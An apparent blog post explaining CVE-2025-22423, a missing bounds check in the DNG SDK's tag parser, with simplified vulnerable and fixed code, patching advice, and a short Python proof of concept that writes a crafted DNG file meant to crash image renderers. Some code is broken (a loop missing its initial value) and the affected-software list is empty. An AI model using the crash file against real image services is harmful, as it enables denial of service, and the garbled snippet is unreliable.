In early 2025, security researchers uncovered CVE-2025-22423, a new vulnerability hitting the DNG (Digital Negative) image processing pipeline. At the heart of this problem is a missing bounds check in the ParseTag function inside the dng_ifd.cpp source file. A simple crafted DNG file can remotely crash image-rendering software with zero user interaction — meaning it’s perfect fodder for denial-of-service attacks.

We’ll break everything down: how the bug works, the code in question, how to exploit it, and how to protect yourself.

Privileges: None required, no user action needed

- Components: All apps/libraries that use impacted DNG parser

- CVE Details

How Does the Bug Work?

DNG is a popular image standard, particularly for professional cameras and photo editors. At its core, DNG is built on TIFF. The parser for DNG images (dng_ifd.cpp) processes the tags that define image data.

Here’s what went wrong: in the ParseTag function, the code trusts values from the input DNG file for the number and locations of the tags. There *should* be a check to make sure these numbers aren’t too big, preventing memory over-reads/writes. But in the vulnerable version, such checks are missing.

A simplified view of the buggy code

// dng_ifd.cpp, simplified

uint16 tagCount = ReadShort();  // value from DNG file

// Missing: if (tagCount > MAX_TAGS) { throw error }

for (uint16 i = ; i < tagCount; i++) {
    ParseTag(ReadShort());
}

In a correct implementation, you’d check that tagCount isn’t more than the array’s capacity. If an attacker crafts a DNG where tagCount is huge, memory is accessed out-of-bounds, leading to a crash.

How to Exploit: Crafting a Malicious DNG

All that’s needed is a DNG file with an absurdly large tag count. When a vulnerable image renderer tries to open this image, the program reads a massive number and tries to allocate and process far too many entries, causing it to run out of memory or crashing due to a segmentation fault.

Simple Python PoC: Build a Crashy DNG

Here’s quick example code, using Python, to make a minimalist DNG file that triggers the bug. (Note: This is for *educational* reasons only!)

# crash_dng.py
with open("crashy.dng", "wb") as f:
    # DNG header (TIFF little endian)
    f.write(b"II*\x00")           # TIFF header: II (Intel), magic number
    f.write(b"\x08\x00\x00\x00")  # Offset to first IFD (8)

    # IFD (Image File Directory)
    f.write(b"\xff\xff")          # tagCount: 65535 (way too many!)
    # Only write a couple of dummy tags - renderer will expect 65535 tags and crash.
    for i in range(2):
        f.write(b"\x01\x00")      # Tag
        f.write(b"\x02\x00")      # Type
        f.write(b"\x04\x00\x00\x00")  # Count
        f.write(b"\x01\x00\x00\x00")  # Value
    f.write(b"\x00\x00\x00\x00")      # Next IFD offset (end)

Who’s Affected?

Any app or service using the vulnerable dng_ifd.cpp parser BEFORE the fix is at risk. That includes:

How to Fix?

This is a classic bounds check bug. The mainline Adobe DNG SDK GitHub patched it in this commit:

// Fixed code
if (tagCount > MAX_SAFE_TAG_COUNT) {
    throw dng_exception("Tag count too large");
}

Update your DNG SDK or any software that uses it (including rebuilding dependent apps) to the latest version. Don't let internet uploads near unpatched parsers!

---

References & Further Reading

- Official CVE Entry (CVE-2025-22423)
- Adobe DNG SDK GitHub repo
- Commit: Patch for bounds check in dng_ifd.cpp
- DNG file format specification (PDF)
- Buffer overflow & bounds check basics (OWASP)

Summary: Why CVE-2025-22423 Matters

CVE-2025-22423 reminds us: even *one* unchecked read from a file can crash infrastructure around the world. While it’s not a remote code execution bug, the risk to uptime is very real — especially for anything that blindly renders images. Patch now, audit your upload paths, and always remember to sanity-check what you read from files!


*This post is exclusive, breaking down the vulnerability for those seeking clear, actionable details. Stay tuned for more deep dives on image and file parsing security issues!*

Timeline

Published on: 09/02/2025 23:15:33 UTC
Last modified on: 09/04/2025 16:39:29 UTC